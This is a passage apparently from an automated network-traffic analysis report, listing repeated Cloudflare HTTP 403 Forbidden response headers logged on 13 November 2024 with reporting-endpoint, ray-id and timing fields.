cfL4;desc="?proto=TCP&rtt=34535&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=83883&cwnd=32&unsent_bytes=0&cid=32c78d7787abab5b&ts=276&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:10 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V%2FKxvvLq0z1pnKTbamai0hYAGNMx2URWKEW5LmRezYKImECxHMNyTXb%2BB7J5%2FwFx7Z%2BvzLkSNPhL6hdfM1xfIx32dWXoe8fUu%2B6vaIdT5yxgT0LifnIojDNCJ6TWAVG1"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072b5dff8aff3-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=144356&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=17493&cwnd=32&unsent_bytes=0&cid=bfb7b3b6bc45a5b3&ts=626&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:11 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cSCNW9txY29WhwKOJ0uSgGvWJ82zsiHsaSjWWDbeypUyYa2%2BiH70zzO%2F5AepQLci1s0SefYitC1PmzpjdhZ%2FpGeI7FuZYk8nPMmyYjOlEAgA57hRE%2Fy1G5%2FJGW%2FpXiQa"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072bd1d646c80-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1962&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=1483606&cwnd=251&unsent_bytes=0&cid=06bcf1c192d78d40&ts=406&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:13 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Io%2BxfrBrKy5I6J13uaLBQm%2BZUKBKUvKw6vD9nuvhChW5CL5yklHSuzH9yp9TFAK6jlgSxabaGu8UqoVDwuEwkkHDA%2B1F52oPI3aGtto9EcywPZVHn1us0KwRNRRBf5sL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072c58a6ce387-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=141013&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=20577&cwnd=32&unsent_bytes=0&cid=d270895326dc000b&ts=818&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:15 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Vwx71jEP%2Bnq%2BzAbVTEnchr4c5SrwZxAw8ImT1K%2F2YBZIPGr5DO%2BfForNYG%2BwHrqfLEgJJXsuWuBO%2FSZMeFXbuAUXzGXXIeuVQhZXe%2BrGq2rsJ2idB0eaTQrz058HNyCo"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072d1bb3bd79c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=141215&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=20516&cwnd=32&unsent_bytes=0&cid=65f56815b85c26a3&ts=708&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:16 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2BWgU9G4AQi5q94uNvw%2B4XK6ZJcqBKf1jI4j0AkqRA%2BXM8l1rM8ac7lpNzGhbJ91oSf2QcVmjN98KNw4OqeqT%2Fejp%2FTwQfdyoseRUwndK2eyUd7c5GArcFIjQfSpgcpcG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072daeebfe37e-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=167898&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=17512&cwnd=32&unsent_bytes=0&cid=e31ee755400a3862&ts=596&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:17 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ILsKwzIq6gbDJ4%2F66sgrnxje5FIUfgW1W%2BWB8IcNF%2BiKXLMAdgDE20dGWKMfQWyMH%2FCZqP8%2B%2Bc4AVU3IPEucSHvLO5bzgobpS0wPjJqZp2QMR4JtMOz%2BxCQcUzAMepWH"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072e3fc62d79c-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=146570&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20332&cwnd=32&unsent_bytes=0&cid=8b622a9829de32b7&ts=501&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:19 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNz%2BwL5jt40WawpRVcr9nBci4YrOidndGEDRCzAEro1FUvYqV49pG5P2qf4v3eSgypbVebFdPnjs3LVTKAYi6K2Ynmk02zVeRYUbB%2BBO3FxErv1ToDJHh4rO%2BO2g7maZ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072edc9a37374-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=129834&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=22287&cwnd=32&unsent_bytes=0&cid=1740d836c5f71e5f&ts=776&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:21 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pswzgrdyDrsJIPX3dZ2LvrTG8xG8knbsZ5QD6m3x0cQaJM7PwZ2%2FOjnecOo1zx1BDqJGO%2BZOXy4ltUSCnbBEKY57071ar49gvf%2F3G7PXUj%2FDgTugD09g96w%2FR%2FHxJv8P"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2072f85989e36b-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=139980&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20059&cwnd=32&unsent_bytes=0&cid=e33bb2b48837105f&ts=505&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:22 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rjae4mD%2BxOGAyipArYHkptJw9h%2FLNTpN88F791NgZ6QQ2ADVt%2BsjgaVXTcdMhrwRwYu3351lvFnGBYxWx9H%2BBqcxcOn5sSTjV7tOIrDk3SBBKpH%2BzdU9S5CUjF9wXRUG"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20730148dcd768-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=156589&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=18186&cwnd=32&unsent_bytes=0&cid=137fed4dc9920c19&ts=575&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:23 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0%2BJmJxP6Ps0agBrkSyQyry0%2F89gwUBxy3%2FI7dtX1kFSohIGH5r9QnfjOYbXNKKORvGnhgQhjjq%2FgbgEmAAJgE89H3kjREZTi0PJT7hf2yH4IXhKgThxt2oDhwZ3r5rpf"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207308fd042c87-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1340&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2154761&cwnd=228&unsent_bytes=0&cid=9241388e304601e6&ts=394&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:25 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GT21G0dGeeA0ByYvdUGiiYKVcqVQ8kfwIikzxsJy8UANjF6ZlDVtTWnOgs84m%2F8LKvWvgYk%2FkETiHhtnlJA6kOzEeNRloLBilIX5QEEmB6nwikz3K1g64qzxWe4OdTSr"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073107dcbc971-IADalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=39825&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=72679&cwnd=32&unsent_bytes=0&cid=03bb5b8cf26572a9&ts=486&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:26 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VSOXVeC52kxi%2FRdy5quxEBnPOcwY2%2BiwczSgXYxF0GnIwMaqPDUsarstAnApM51Oyl%2F7Ngo%2BBfbPjcOeN8%2Fp1d%2BsHWkEFsaS5J4VXSsTSOkHLpjtswmfDsvZgaUGttnU"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207318bfd8d788-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=134927&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=21447&cwnd=32&unsent_bytes=0&cid=286837213be96280&ts=968&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:28 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=yQGNoPJj4b6FfOmS%2BYwm1LNKHnm6JlviO4g3wRHlASmckX7NPt%2FA%2BVt4QjfeL24KVZbzwsRU8N4%2BgzwqR9DUIyYhdc%2BoetczZuqiNtLbdg%2FAHEC68rQDWjlY4ktlHmZc"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20732468f9d78b-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=137605&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21075&cwnd=32&unsent_bytes=0&cid=73ddc33a4c9826a8&ts=553&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:29 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=h492SEKam0kHZsn9UuyKimtDKEKIP36gJCpHdbdJxynH2DJf%2FGr%2BU7bbaqEayy%2Fs44XC4jEDRVPHYp6%2FpCN3Y4WZMzQbBWhQ%2FVo9O1wkmSmFgYbeUdYX7npLSQ3xJBeW"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20732dcc24f675-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=138745&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=18395&cwnd=32&unsent_bytes=0&cid=28bb09f686d417be&ts=553&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:31 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=UgOy7b8h9ZPo%2BOPQ9nXPf2tUt8QWHOYqWaHtpM2DervZ9RJNJLPG43P07W1FB7n683mGTThlhTjYOHHs%2BHGyDuhpp6c%2B4xr74XXiKOL1NaAXJbaKfaJKBf2jx6SpCLGL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207336ffe1d74b-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=131061&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22098&cwnd=32&unsent_bytes=0&cid=4501c5613c3f94c9&ts=615&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:32 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2WCZI4zr%2FOT5u9EnGAYUPHs%2BuvBjmDNi0bwxRw2WS8t0i37k04eRVN%2FLwKWX8VMOEJm2E8C8X%2FAU%2BtwvrFxlHtvruMZbP4frLcp5JZUjoAvNTPH8KJQVvsZmq4Iwl162"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20733fbb226bc8-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=981&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2861660&cwnd=235&unsent_bytes=0&cid=7f679857cbd07a7a&ts=417&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:34 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=whIsG8DA0uyqXXPGqgI0f6E9Knl38Mk9pax1SjHnVCAGboHXedOX227srRQY2iGR3rm9rMu1hGagWeWOvtkSBAwGBLsZFcV6lW915U%2FbYC7bWJQg7fxg9HcUKUj98Zgp"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073484b78e3a5-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=138035&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=19439&cwnd=32&unsent_bytes=0&cid=f4bd36db14e8d446&ts=831&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:36 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KBEY6aFdYysGtc1lexUwe2czszcmxSm1%2FTP7s%2FBLYIm%2BWT5qEqrzNtoxowUTerLdEM%2FB5wv9uohz2%2Bv5UNh6xWtEcj1vOCpQWlwD5FApM2n%2F0owmU2rU1JPe7rcGbtcE"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207356af3fd759-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=136593&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22040&cwnd=32&unsent_bytes=0&cid=9e4a5e3dffdcdc74&ts=878&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:37 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Fk2HRn2bSb%2BRwUO026S3Ca6xUM8Br8CcFECYvSAidACVK8OoHHGPSQGlefY7cacTaDlUHG%2F50YfW2Ti19WsohTGJYG5KEXvxGN%2BRt4dGIDCC%2BwPpJVOmKDCYAKrn9q14"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20735fbb56a918-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2228&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=1294590&cwnd=177&unsent_bytes=0&cid=38110786e51e7e48&ts=397&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:39 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fqHhDDa9vWu2f6ggicUok6Ays%2BQpWh0csmu8pwtkKHF70LwAp9GKoBjEThnFbUpkXpTPnJjQSbX8ub1SsYVxrvoiGx6JrUbYX5qJUobe3ra9ST39Sqo%2BwFL2WAoHhS%2BN"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073689b8bd743-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=134490&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=22078&cwnd=32&unsent_bytes=0&cid=58b9efb659a76c0e&ts=603&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:40 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2%2BM2cNwwzt3Olr2SsX%2Br4bdl8Z1yxN%2FvFE%2FJuOoz04mQIKvdI9HOcWzZ7pfNk7tRvajTqlxWR%2BWaZKxDlBD9iSZeSjuGA3m3vbQLKzRQJVd0C47ab2ls1RaOoyvjT%2Beg"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073709a56ce68-SJCalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=41658&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1167&delivery_rate=69520&cwnd=32&unsent_bytes=0&cid=9a1a4e3ed90fbf59&ts=549&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:42 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HT%2FWTzb%2BFOnNfpD53mNEyzH2Uj2zL43XDudcNIF019IfZz3KUKD6RMI%2BIBtcCoSSRrxSADQUm%2FdcRO05SJeR8s4mtIZyoSq2uy%2FdSWXDOP3bb1lr5zqDUyvhBEHgXx2a"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e207379dbf7687f-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=151871&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=20624&cwnd=32&unsent_bytes=0&cid=610d245fe586dbef&ts=798&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=XKUvBUaO%2BtY9Pf%2Bcuumq09WIFjp2c2o33hdYmurBZn2K99YOOBfQIXzqE9tCggIndJWGZiTjY%2BI6vhCcpq4ICWi1RHfXu%2FVjzdUZ6nVNUwUZdbtNL92rkQXhaiYDDaNv"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073857fe2f5a3-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=152051&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=19850&cwnd=32&unsent_bytes=0&cid=ed0e900ea97c8292&ts=732&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:45 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LgWNhYSaoyJOWiPDTGA5g%2F7ZrrfZX4iDwuulk7M07xt0bTCEVgjxjsL%2FvVBIWY%2FZ0Kck%2FU7V9AF4uhNd99TZ92nkJgraZJG4dVQh%2F4dDwdyIOKTMOxL7YX0D%2BdSaBVRL"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e20738d7d266c0d-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1308&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2830&recv_bytes=1167&delivery_rate=2112326&cwnd=251&unsent_bytes=0&cid=25c9c3ee4ded2a4e&ts=422&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mrwjC4qddBdn9lmfRTEMi525y39evnF0SOvFzbYHIAajVi8niqOXj6EwR%2F%2FQcWrhRn4M3L3td%2FKCPI%2B7lLglzIRCvI4X4TexZgi6ADx46Ox8PUNA8bnyIoPiK5ao%2FeWS"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073961ab0795e-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=142635&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=20311&cwnd=32&unsent_bytes=0&cid=e149ad309aa58f3d&ts=744&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:48 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MqMvV1Xx4MdMXw%2FU06YO3ZRXAUKVdAdI4g9quOnQhsOwf1UdbLWvLLK3lwBTC29%2FUjL6CaPjeTLRje4MxIQ07sTKoW%2BYWefhp1NiBxd5mtVEq1Hpx87TL6xKhrPSbDbn"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073a01c227346-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=130070&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=1167&delivery_rate=22263&cwnd=32&unsent_bytes=0&cid=e26b5a25835c5e92&ts=783&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xAl5KbUg4duCxs8%2FGiy1oqHjkB4Jzqwv7GEtknhFs8FEKmdncIp3fysdL2r%2BRm2lzdVN8%2BxGTmkOiVnA8UKo%2BQXmTNmRQQZd%2BKfQ0wVDNCLeq8fOml%2BinkPHFVILZ4da"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073a8d8086b27-DFWalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1141&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2828&recv_bytes=1167&delivery_rate=2592658&cwnd=249&unsent_bytes=0&cid=cc97e5480558a86b&ts=464&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:51 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Wcpvqb%2B9Ciq85jJZe3uw%2F1n0c8Ow0Wlk6izM0ey5IDLfNm%2BtN0Mxcd1DwjWu3kDkG2v%2BW0tlHqgbQJ4koeWCoY%2FKO3aNrXRr%2Fg8lBlGCUVb90qC2HY9euM6W%2B0W5aFB4"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073b14fd86879-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=135700&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2831&recv_bytes=1167&delivery_rate=21335&cwnd=32&unsent_bytes=0&cid=25dfbc323f69631a&ts=785&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Wed, 13 Nov 2024 17:23:52 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fVmTE6zhwtZ7xpN7DSa5mKLD4zOVhUdVy1Pggz3lXJQv9ScAn6TtSF9PgD5l82zP8udsHBCXy2xs%2BtDMcLc4Rq0GJ79UI7euTUuITHdbrKNmVZFR6QfRFkktoAWz3Jwz"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 8e2073bc6b1ad78b-NRTalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=135673&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1167&delivery_rate=20600&cwnd=32&unsent_bytes=0&cid=e24d933cc66df834&ts=506&x=0"
